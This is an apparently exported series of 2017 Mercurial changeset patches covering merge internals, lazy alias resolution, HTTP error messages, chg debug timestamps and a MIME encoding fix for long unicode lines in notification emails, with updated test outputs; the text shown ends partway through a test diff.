# User Augie Fackler <augie@google.com>
# Date 1497453237 14400
#      Wed Jun 14 11:13:57 2017 -0400
# Node ID 3704d3f211367f452a194e0fb63a73b8d805d711
# Parent  e6723c939344cf816b531bace696bad2c5a0fb48
patchbomb: add test that shows --to and --cc override matching config item

As far as I know this has always been true and is intentional (it's in
line with many other behaviors), but it wasn't tested.

diff --git a/tests/test-patchbomb.t b/tests/test-patchbomb.t
--- a/tests/test-patchbomb.t
+++ b/tests/test-patchbomb.t
@@ -70,6 +70,45 @@
   +a
   
 
+If --to is specified on the command line, it should override any
+email.to config setting. Same for --cc:
+
+  $ hg email --date '1970-1-1 0:1' -n -f quux --to foo --cc bar -r tip \
+  >   --config email.to=bob@example.com --config email.cc=alice@example.com
+  this patch series consists of 1 patches.
+  
+  
+  displaying [PATCH] a ...
+  Content-Type: text/plain; charset="us-ascii"
+  MIME-Version: 1.0
+  Content-Transfer-Encoding: 7bit
+  Subject: [PATCH] a
+  X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
+  X-Mercurial-Series-Index: 1
+  X-Mercurial-Series-Total: 1
+  Message-Id: <*@*> (glob)
+  X-Mercurial-Series-Id: <*@*> (glob)
+  User-Agent: Mercurial-patchbomb/* (glob)
+  Date: Thu, 01 Jan 1970 00:01:00 +0000
+  From: quux
+  To: foo
+  Cc: bar
+  
+  # HG changeset patch
+  # User test
+  # Date 1 0
+  #      Thu Jan 01 00:00:01 1970 +0000
+  # Node ID 8580ff50825a50c8f716709acdf8de0deddcd6ab
+  # Parent  0000000000000000000000000000000000000000
+  a
+  
+  diff -r 000000000000 -r 8580ff50825a a
+  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+  +++ b/a	Thu Jan 01 00:00:01 1970 +0000
+  @@ -0,0 +1,1 @@
+  +a
+  
+
   $ hg --config ui.interactive=1 email --confirm -n -f quux -t foo -c bar -r tip<<EOF
   > n
   > EOF
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1505420072 25200
#      Thu Sep 14 13:14:32 2017 -0700
# Node ID 440ece43024c48cbaa3d3de4252abd183601e401
# Parent  3704d3f211367f452a194e0fb63a73b8d805d711
merge: allow a custom working context to be passed to update

This will allow anyone to enable the first in-menmory merge milestone
by wrapping merge.update in an extension and creating an overlayworkingctx.

Differential Revision: https://phab.mercurial-scm.org/D682

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -1479,7 +1479,7 @@
 
 def update(repo, node, branchmerge, force, ancestor=None,
            mergeancestor=False, labels=None, matcher=None, mergeforce=False,
-           updatecheck=None):
+           updatecheck=None, wc=None):
     """
     Perform a merge between the working directory and the given node
 
@@ -1527,6 +1527,9 @@
     2 = abort: uncommitted changes (commit or update --clean to discard changes)
     3 = abort: uncommitted changes (checked in commands.py)
 
+    The merge is performed inside ``wc``, a workingctx-like objects. It defaults
+    to repo[None] if None is passed.
+
     Return the same tuple as applyupdates().
     """
     # Avoid cycle.
@@ -1550,7 +1553,8 @@
     else:
         partial = True
     with repo.wlock():
-        wc = repo[None]
+        if wc is None:
+            wc = repo[None]
         pl = wc.parents()
         p1 = pl[0]
         pas = [None]
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1505420072 25200
#      Thu Sep 14 13:14:32 2017 -0700
# Node ID 575097b4dce054a5b8d992fe15797d9d62ceaf71
# Parent  440ece43024c48cbaa3d3de4252abd183601e401
largefiles: force an on-disk merge

Largefiles isn't a good candidate for in-memory merge (it uses a custom
dirstate, matcher, and the files might not fit in memory) so have it always
run an old-style merge.

Differential Revision: https://phab.mercurial-scm.org/D683

diff --git a/hgext/largefiles/overrides.py b/hgext/largefiles/overrides.py
--- a/hgext/largefiles/overrides.py
+++ b/hgext/largefiles/overrides.py
@@ -1432,7 +1432,10 @@
         lfdirstate.write()
 
         oldstandins = lfutil.getstandinsstate(repo)
-
+        # Make sure the merge runs on disk, not in-memory. largefiles is not a
+        # good candidate for in-memory merge (large files, custom dirstate,
+        # matcher usage).
+        kwargs['wc'] = repo[None]
         result = orig(repo, node, branchmerge, force, *args, **kwargs)
 
         newstandins = lfutil.getstandinsstate(repo)
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1506262075 -19800
#      Sun Sep 24 19:37:55 2017 +0530
# Node ID ae510d9691efec90640d17fc61c56272c433fe95
# Parent  575097b4dce054a5b8d992fe15797d9d62ceaf71
uncommit: add a test for uncommit with uncommitondirtywdir config in merge

Differential Revision: https://phab.mercurial-scm.org/D809

diff --git a/tests/test-uncommit.t b/tests/test-uncommit.t
--- a/tests/test-uncommit.t
+++ b/tests/test-uncommit.t
@@ -354,6 +354,10 @@
   abort: outstanding uncommitted merge
   [255]
 
+  $ hg uncommit --config experimental.uncommitondirtywdir=True
+  abort: cannot uncommit while merging
+  [255]
+
   $ hg status
   M a
   $ hg commit -m 'merge a and b'
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506198669 25200
#      Sat Sep 23 13:31:09 2017 -0700
# Node ID 0e48813cc106ca63600d77d2847a6721a7288ae3
# Parent  ae510d9691efec90640d17fc61c56272c433fe95
alias: test duplicated definition earlier

This patch moves the old definition checking logic introduced by
f4b7be3f8430 earlier. So that the test itself does not depend on `aliasdef`.

The check is to avoid wrapping a same alias multiple times. It can be done
by checking the config name and value (`definition` in code), without
constructing a `cmdalias` instance.

This makes the next patch easier to review.

Differential Revision: https://phab.mercurial-scm.org/D804

diff --git a/mercurial/dispatch.py b/mercurial/dispatch.py
--- a/mercurial/dispatch.py
+++ b/mercurial/dispatch.py
@@ -528,17 +528,15 @@
     # may use extension commands. Aliases can also use other alias definitions,
     # but only if they have been defined prior to the current definition.
     for alias, definition in ui.configitems('alias'):
-        source = ui.configsource('alias', alias)
-        aliasdef = cmdalias(alias, definition, cmdtable, source)
-
         try:
-            olddef = cmdtable[aliasdef.cmd][0]
-            if olddef.definition == aliasdef.definition:
+            if cmdtable[alias][0].definition == definition:
                 continue
         except (KeyError, AttributeError):
             # definition might not exist or it might not be a cmdalias
             pass
 
+        source = ui.configsource('alias', alias)
+        aliasdef = cmdalias(alias, definition, cmdtable, source)
         cmdtable[aliasdef.name] = (aliasdef, aliasdef.opts, aliasdef.help)
 
 def _parse(ui, args):
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506199572 25200
#      Sat Sep 23 13:46:12 2017 -0700
# Node ID bd50aa1aa035429e7cd099aae8f3b2db388e561b
# Parent  0e48813cc106ca63600d77d2847a6721a7288ae3
alias: make alias command lazily resolved

With many aliases, resolving them could have some visible overhead. Below is
part of traceprof [1] output of `hg bookmark --hidden`:

  (time unit: ms)
  37  \ addaliases                             dispatch.py:526
  37   | __init__ (60 times)                   dispatch.py:402
  33   | findcmd (108 times)                   cmdutil.py:721
  16   | findpossible (49 times)               cmdutil.py:683

It may get better by optimizing `findcmd` to do a bisect, but we don't
really need to resolve an alias if it's not used, so let's make those
command entries lazy.

After this patch, `addalias` takes less than 1ms.

.. perf:: improved performance when many aliases are defined

[1]: https://bitbucket.org/facebook/hg-experimental/src/9aca0dbdbdfc48457e5d2581ca2d6e662fced2e6/hgext3rd/traceprof.pyx

Differential Revision: https://phab.mercurial-scm.org/D805

diff --git a/mercurial/dispatch.py b/mercurial/dispatch.py
--- a/mercurial/dispatch.py
+++ b/mercurial/dispatch.py
@@ -523,21 +523,52 @@
                 ui.debug("alias '%s' expands to '%s'\n" % (self.name, args))
                 raise
 
+class lazyaliasentry(object):
+    """like a typical command entry (func, opts, help), but is lazy"""
+
+    def __init__(self, name, definition, cmdtable, source):
+        self.name = name
+        self.definition = definition
+        self.cmdtable = cmdtable.copy()
+        self.source = source
+
+    @util.propertycache
+    def _aliasdef(self):
+        return cmdalias(self.name, self.definition, self.cmdtable, self.source)
+
+    def __getitem__(self, n):
+        aliasdef = self._aliasdef
+        if n == 0:
+            return aliasdef
+        elif n == 1:
+            return aliasdef.opts
+        elif n == 2:
+            return aliasdef.help
+        else:
+            raise IndexError
+
+    def __iter__(self):
+        for i in range(3):
+            yield self[i]
+
+    def __len__(self):
+        return 3
+
 def addaliases(ui, cmdtable):
     # aliases are processed after extensions have been loaded, so they
     # may use extension commands. Aliases can also use other alias definitions,
     # but only if they have been defined prior to the current definition.
     for alias, definition in ui.configitems('alias'):
         try:
-            if cmdtable[alias][0].definition == definition:
+            if cmdtable[alias].definition == definition:
                 continue
         except (KeyError, AttributeError):
             # definition might not exist or it might not be a cmdalias
             pass
 
         source = ui.configsource('alias', alias)
-        aliasdef = cmdalias(alias, definition, cmdtable, source)
-        cmdtable[aliasdef.name] = (aliasdef, aliasdef.opts, aliasdef.help)
+        entry = lazyaliasentry(alias, definition, cmdtable, source)
+        cmdtable[alias] = entry
 
 def _parse(ui, args):
     options = {}
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1503112838 25200
#      Fri Aug 18 20:20:38 2017 -0700
# Node ID afcbc6f64d27169046083af4cb74d5f52bd48ef2
# Parent  bd50aa1aa035429e7cd099aae8f3b2db388e561b
tests: add interface checks for bundle, statichttp, and union peers

I forgot to add these when I initially wrote the test. They inherit
from localrepo.localpeer, so they should be explicitly tested.

Differential Revision: https://phab.mercurial-scm.org/D810

diff --git a/tests/test-check-interfaces.py b/tests/test-check-interfaces.py
--- a/tests/test-check-interfaces.py
+++ b/tests/test-check-interfaces.py
@@ -3,10 +3,13 @@
 from __future__ import absolute_import, print_function
 
 from mercurial import (
+    bundlerepo,
     httppeer,
     localrepo,
     sshpeer,
+    statichttprepo,
     ui as uimod,
+    unionrepo,
 )
 
 def checkobject(o):
@@ -67,5 +70,8 @@
     checkobject(httppeer.httppeer(ui, 'http://localhost'))
     checkobject(localrepo.localpeer(dummyrepo()))
     checkobject(testingsshpeer(ui, 'ssh://localhost/foo'))
+    checkobject(bundlerepo.bundlepeer(dummyrepo()))
+    checkobject(statichttprepo.statichttppeer(dummyrepo()))
+    checkobject(unionrepo.unionpeer(dummyrepo()))
 
 main()
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506330316 -7200
#      Mon Sep 25 11:05:16 2017 +0200
# Node ID 9bd003052d55128a5a444eba972d10d78c9babbb
# Parent  afcbc6f64d27169046083af4cb74d5f52bd48ef2
keepalive: add more context to bad status line errors

As the TODO in the test said, the previous error message was not
very helpful. Let's improve things.

Differential Revision: https://phab.mercurial-scm.org/D811

diff --git a/mercurial/keepalive.py b/mercurial/keepalive.py
--- a/mercurial/keepalive.py
+++ b/mercurial/keepalive.py
@@ -90,6 +90,7 @@
 import sys
 import threading
 
+from .i18n import _
 from . import (
     util,
 )
@@ -231,6 +232,10 @@
                 self._cm.add(host, h, 0)
                 self._start_transaction(h, req)
                 r = h.getresponse()
+        # The string form of BadStatusLine is the status line. Add some context
+        # to make the error message slightly more useful.
+        except httplib.BadStatusLine as err:
+            raise urlerr.urlerror(_('bad HTTP status line: %s') % err.line)
         except (socket.error, httplib.HTTPException) as err:
             raise urlerr.urlerror(err)
 
diff --git a/tests/test-http-bad-server.t b/tests/test-http-bad-server.t
--- a/tests/test-http-bad-server.t
+++ b/tests/test-http-bad-server.t
@@ -68,10 +68,8 @@
   $ hg --config badserver.closeafterrecvbytes=1 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
-TODO this error message is not very good
-
   $ hg clone http://localhost:$HGPORT/ clone
-  abort: error: ''
+  abort: error: bad HTTP status line: ''
   [255]
 
   $ killdaemons.py $DAEMON_PIDS
@@ -87,7 +85,7 @@
   $ hg --config badserver.closeafterrecvbytes=40 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT/ clone
-  abort: error: ''
+  abort: error: bad HTTP status line: ''
   [255]
 
   $ killdaemons.py $DAEMON_PIDS
@@ -104,7 +102,7 @@
   $ hg --config badserver.closeafterrecvbytes=210 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT/ clone
-  abort: error: ''
+  abort: error: bad HTTP status line: ''
   [255]
 
   $ killdaemons.py $DAEMON_PIDS
@@ -143,7 +141,7 @@
   $ cat hg.pid > $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT/ clone
   requesting all changes
-  abort: error: ''
+  abort: error: bad HTTP status line: ''
   [255]
 
   $ killdaemons.py $DAEMON_PIDS
@@ -200,7 +198,7 @@
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
-  abort: error: ''
+  abort: error: bad HTTP status line: ''
   [255]
 
   $ killdaemons.py $DAEMON_PIDS
@@ -251,7 +249,7 @@
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
-  abort: error: H
+  abort: error: bad HTTP status line: H
   [255]
 
   $ killdaemons.py $DAEMON_PIDS
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506203920 25200
#      Sat Sep 23 14:58:40 2017 -0700
# Node ID b94db1780365824f5f97a930edada92f779da939
# Parent  9bd003052d55128a5a444eba972d10d78c9babbb
chg: show timestamp with debug messages

Like `strace -tr`, this helps finding performance bottlenecks.

Differential Revision: https://phab.mercurial-scm.org/D807

diff --git a/contrib/chg/util.c b/contrib/chg/util.c
--- a/contrib/chg/util.c
+++ b/contrib/chg/util.c
@@ -14,6 +14,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
+#include <sys/time.h>
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <unistd.h>
@@ -59,6 +60,13 @@
 }
 
 static int debugmsgenabled = 0;
+static double debugstart = 0;
+
+static double now() {
+	struct timeval t;
+	gettimeofday(&t, NULL);
+	return t.tv_usec / 1e6 + t.tv_sec;
+}
 
 void enablecolor(void)
 {
@@ -68,6 +76,7 @@
 void enabledebugmsg(void)
 {
 	debugmsgenabled = 1;
+	debugstart = now();
 }
 
 void debugmsg(const char *fmt, ...)
@@ -78,7 +87,7 @@
 	va_list args;
 	va_start(args, fmt);
 	fsetcolor(stderr, "1;30");
-	fputs("chg: debug: ", stderr);
+	fprintf(stderr, "chg: debug: %4.6f ", now() - debugstart);
 	vfprintf(stderr, fmt, args);
 	fsetcolor(stderr, "");
 	fputc('\n', stderr);
diff --git a/tests/test-chg.t b/tests/test-chg.t
--- a/tests/test-chg.t
+++ b/tests/test-chg.t
@@ -48,7 +48,7 @@
   $ touch foo
   $ CHGDEBUG= HGEDITOR=cat chg ci -Am channeled --edit 2>&1 \
   > | egrep "HG:|run 'cat"
-  chg: debug: run 'cat "*"' at '$TESTTMP/editor' (glob)
+  chg: debug: * run 'cat "*"' at '$TESTTMP/editor' (glob)
   HG: Enter commit message.  Lines beginning with 'HG:' are removed.
   HG: Leave message empty to abort commit.
   HG: --
@@ -165,16 +165,16 @@
 warm up server:
 
   $ CHGDEBUG= chg log 2>&1 | egrep 'instruction|start'
-  chg: debug: start cmdserver at $TESTTMP/extreload/chgsock/server.* (glob)
+  chg: debug: * start cmdserver at $TESTTMP/extreload/chgsock/server.* (glob)
 
 new server should be started if extension modified:
 
   $ sleep 1
   $ touch dummyext.py
   $ CHGDEBUG= chg log 2>&1 | egrep 'instruction|start'
-  chg: debug: instruction: unlink $TESTTMP/extreload/chgsock/server-* (glob)
-  chg: debug: instruction: reconnect
-  chg: debug: start cmdserver at $TESTTMP/extreload/chgsock/server.* (glob)
+  chg: debug: * instruction: unlink $TESTTMP/extreload/chgsock/server-* (glob)
+  chg: debug: * instruction: reconnect (glob)
+  chg: debug: * start cmdserver at $TESTTMP/extreload/chgsock/server.* (glob)
 
 old server will shut down, while new server should still be reachable:
 
@@ -196,7 +196,7 @@
 (this test makes sure that old server shut down automatically)
 
   $ CHGDEBUG= chg log 2>&1 | egrep 'instruction|start'
-  chg: debug: start cmdserver at $TESTTMP/extreload/chgsock/server.* (glob)
+  chg: debug: * start cmdserver at $TESTTMP/extreload/chgsock/server.* (glob)
 
 shut down servers and restore environment:
 
# HG changeset patch
# User Igor Ippolitov <iippolitov@gmail.com>
# Date 1506431697 -10800
#      Tue Sep 26 16:14:57 2017 +0300
# Node ID 2d0c306a88c226d96cf29036b6d6b08bd0abc3b4
# Parent  b94db1780365824f5f97a930edada92f779da939
mail: encode long unicode lines in emails properly (issue5687)

3e544c074459 introduced a bug: emails Content-Transfer-Encoding
is silently replaced with 'quoted-printable' while any other
encoding could be used by underlying code. The problem is revealed
when a long unicode line is encoded.

The patch implements proper check which works for any text and
encoding.

diff --git a/mercurial/mail.py b/mercurial/mail.py
--- a/mercurial/mail.py
+++ b/mercurial/mail.py
@@ -10,8 +10,8 @@
 import email
 import email.charset
 import email.header
+import email.message
 import os
-import quopri
 import smtplib
 import socket
 import time
@@ -216,17 +216,17 @@
     '''Return MIME message.
     Quoted-printable transfer encoding will be used if necessary.
     '''
-    enc = None
+    cs = email.charset.Charset(charset)
+    msg = email.message.Message()
+    msg.set_type('text/' + subtype)
+
     for line in body.splitlines():
         if len(line) > 950:
-            body = quopri.encodestring(body)
-            enc = "quoted-printable"
+            cs.body_encoding = email.charset.QP
             break
 
-    msg = email.MIMEText.MIMEText(body, subtype, charset)
-    if enc:
-        del msg['Content-Transfer-Encoding']
-        msg['Content-Transfer-Encoding'] = enc
+    msg.set_payload(body, cs)
+
     return msg
 
 def _charsets(ui):
diff --git a/tests/test-keyword.t b/tests/test-keyword.t
--- a/tests/test-keyword.t
+++ b/tests/test-keyword.t
@@ -260,8 +260,8 @@
   adding manifests
   adding file changes
   added 2 changesets with 3 changes to 3 files
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
   Subject: changeset in...
@@ -283,8 +283,8 @@
   @@ -0,0 +1,1 @@
   +a
   \ No newline at end of file
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date:* (glob)
   Subject: changeset in...
diff --git a/tests/test-notify-changegroup.t b/tests/test-notify-changegroup.t
--- a/tests/test-notify-changegroup.t
+++ b/tests/test-notify-changegroup.t
@@ -46,8 +46,8 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
   Subject: * (glob)
@@ -97,8 +97,8 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
   Subject: * (glob)
@@ -174,8 +174,8 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
   Subject: * (glob)
diff --git a/tests/test-notify.t b/tests/test-notify.t
--- a/tests/test-notify.t
+++ b/tests/test-notify.t
@@ -188,8 +188,8 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
   Subject: changeset in $TESTTMP/b: b
@@ -241,8 +241,8 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   X-Test: foo
   Date: * (glob)
@@ -283,8 +283,8 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   X-Test: foo
   Date: * (glob)
@@ -328,8 +328,8 @@
   adding manifests
   adding file changes
   added 2 changesets with 0 changes to 0 files
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   X-Test: foo
   Date: * (glob)
@@ -351,8 +351,8 @@
   +++ b/a	Thu Jan 01 00:00:02 1970 +0000
   @@ -1,1 +1,2 @@ a
   +a
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   X-Test: foo
   Date: * (glob)
@@ -383,8 +383,8 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 8bit
   X-Test: foo
   Date: * (glob)
@@ -416,7 +416,7 @@
   > test = False
   > mbox = mbox
   > EOF
-  $ $PYTHON -c 'file("a/a", "ab").write("no" * 500 + "\n")'
+  $ $PYTHON -c 'file("a/a", "ab").write("no" * 500 + "\xd1\x84" + "\n")'
   $ hg --cwd a commit -A -m "long line"
   $ hg --traceback --cwd b pull ../a
   pulling from ../a
@@ -429,25 +429,25 @@
   (run 'hg update' to get a working copy)
   $ $PYTHON $TESTTMP/filter.py < b/mbox
   From test@test.com ... ... .. ..:..:.. .... (re)
-  Content-Type: text/plain; charset="us-ascii"
   MIME-Version: 1.0
+  Content-Type: text/plain; charset="*" (glob)
   Content-Transfer-Encoding: quoted-printable
   X-Test: foo
   Date: * (glob)
   Subject: long line
   From: test@test.com
-  X-Hg-Notification: changeset e0be44cf638b
-  Message-Id: <hg.e0be44cf638b.*.*@*> (glob)
+  X-Hg-Notification: changeset a323cae54f6e
+  Message-Id: <hg.a323cae54f6e.*.*@*> (glob)
   To: baz@test.com, foo@bar
   
-  changeset e0be44cf638b in b
+  changeset a323cae54f6e in b
   description: long line
   diffstat:
    a |  1 + 1 files changed, 1 insertions(+), 0 deletions(-)
   
   diffs (8 lines):
   
-  diff -r 7ea05ad269dc -r e0be44cf638b a
+  diff -r 7ea05ad269dc -r a323cae54f6e a
   --- a/a	Thu Jan 01 00:00:00 1970 +0000
   +++ b/a	Thu Jan 01 00:00:00 1970 +0000
   @@ -1,3 +1,4 @@ a a a
@@ -464,7 +464,7 @@
   ononononononononononononononononononononononononononononononononononononono=
   nononononononononononononononononononononononononononononononononononononon=
   ononononononononononononononononononononononononononononononononononononono=
-  nonononononononononononono
+  nonononononononononononono=D1=84
   
  revset selection: send to address that matches branch and repo
 
@@ -494,18 +494,18 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   X-Test: foo
   Date: * (glob)
   Subject: test
   From: test@test.com
-  X-Hg-Notification: changeset fbbcbc516f2f
-  Message-Id: <hg.fbbcbc516f2f.*.*@*> (glob)
+  X-Hg-Notification: changeset b7cf10b2bdec
+  Message-Id: <hg.b7cf10b2bdec.*.*@*> (glob)
   To: baz@test.com, foo@bar, notify@example.com
   
-  changeset fbbcbc516f2f in b
+  changeset b7cf10b2bdec in b
   description: test
   (run 'hg update' to get a working copy)
 
@@ -523,18 +523,18 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   X-Test: foo
   Date: * (glob)
   Subject: test
   From: test@test.com
-  X-Hg-Notification: changeset 38b42fa092de
-  Message-Id: <hg.38b42fa092de.*.*@*> (glob)
+  X-Hg-Notification: changeset 5a07df312a79
+  Message-Id: <hg.5a07df312a79.*.*@*> (glob)
   To: baz@test.com, foo@bar
   
-  changeset 38b42fa092de in b
+  changeset 5a07df312a79 in b
   description: test
   (run 'hg heads' to see heads)
 
@@ -545,18 +545,18 @@
   $ echo a >> a/a
   $ hg --cwd a commit -m 'default template'
   $ hg --cwd b pull ../a -q | $PYTHON $TESTTMP/filter.py
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
   Subject: changeset in b: default template
   From: test@test.com
-  X-Hg-Notification: changeset 3548c9e294b6
-  Message-Id: <hg.3548c9e294b6.*.*@*> (glob)
+  X-Hg-Notification: changeset f5e8ec95bf59
+  Message-Id: <hg.f5e8ec95bf59.*.*@*> (glob)
   To: baz@test.com, foo@bar
   
-  changeset 3548c9e294b6 in $TESTTMP/b (glob)
-  details: http://test/b?cmd=changeset;node=3548c9e294b6
+  changeset f5e8ec95bf59 in $TESTTMP/b (glob)
+  details: http://test/b?cmd=changeset;node=f5e8ec95bf59
   description: default template
 
 with style:
@@ -574,17 +574,17 @@
   $ echo a >> a/a
   $ hg --cwd a commit -m 'with style'
   $ hg --cwd b pull ../a -q | $PYTHON $TESTTMP/filter.py
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
   Subject: with style
   From: test@test.com
-  X-Hg-Notification: changeset e917dbd961d3
-  Message-Id: <hg.e917dbd961d3.*.*@*> (glob)
+  X-Hg-Notification: changeset 9e2c3a8e9c43
+  Message-Id: <hg.9e2c3a8e9c43.*.*@*> (glob)
   To: baz@test.com, foo@bar
   
-  changeset e917dbd961d3
+  changeset 9e2c3a8e9c43
 
 with template (overrides style):
 
@@ -597,14 +597,14 @@
   $ echo a >> a/a
   $ hg --cwd a commit -m 'with template'
   $ hg --cwd b pull ../a -q | $PYTHON $TESTTMP/filter.py
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
-  Subject: a09743fd3edd: with template
+  Subject: e2cbf5bf18a7: with template
   From: test@test.com
-  X-Hg-Notification: changeset a09743fd3edd
-  Message-Id: <hg.a09743fd3edd.*.*@*> (glob)
+  X-Hg-Notification: changeset e2cbf5bf18a7
+  Message-Id: <hg.e2cbf5bf18a7.*.*@*> (glob)
   To: baz@test.com, foo@bar
   
   with template
diff --git a/tests/test-patchbomb-bookmark.t b/tests/test-patchbomb-bookmark.t
--- a/tests/test-patchbomb-bookmark.t
+++ b/tests/test-patchbomb-bookmark.t
@@ -31,8 +31,8 @@
   Cc: 
   
   displaying [PATCH 0 of 2] bookmark ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2] bookmark
   Message-Id: <patchbomb.347155260@*> (glob)
@@ -43,8 +43,8 @@
   
   
   displaying [PATCH 1 of 2] first ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2] first
   X-Mercurial-Node: accde9b8b6dce861c185d0825c1affc09a79cb26
@@ -74,8 +74,8 @@
   +first
   
   displaying [PATCH 2 of 2] second ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2] second
   X-Mercurial-Node: 417defd1559c396ba06a44dce8dc1c2d2d653f3f
@@ -138,8 +138,8 @@
   Cc: 
   
   displaying [PATCH] bookmark ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] bookmark
   X-Mercurial-Node: 8dab2639fd35f1e337ad866c372a5c44f1064e3c
diff --git a/tests/test-patchbomb.t b/tests/test-patchbomb.t
--- a/tests/test-patchbomb.t
+++ b/tests/test-patchbomb.t
@@ -40,8 +40,8 @@
   
   
   displaying [PATCH] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -79,8 +79,8 @@
   
   
   displaying [PATCH] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -154,8 +154,8 @@
   
   
   displaying [PATCH] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -192,8 +192,8 @@
   
   
   displaying [PATCH] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -234,8 +234,8 @@
   
   
   displaying [PATCH 0 of 2] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2] test
   Message-Id: <patchbomb.120@*> (glob)
@@ -247,8 +247,8 @@
   
   
   displaying [PATCH 1 of 2] a ...
+  MIME-Version: 1.0
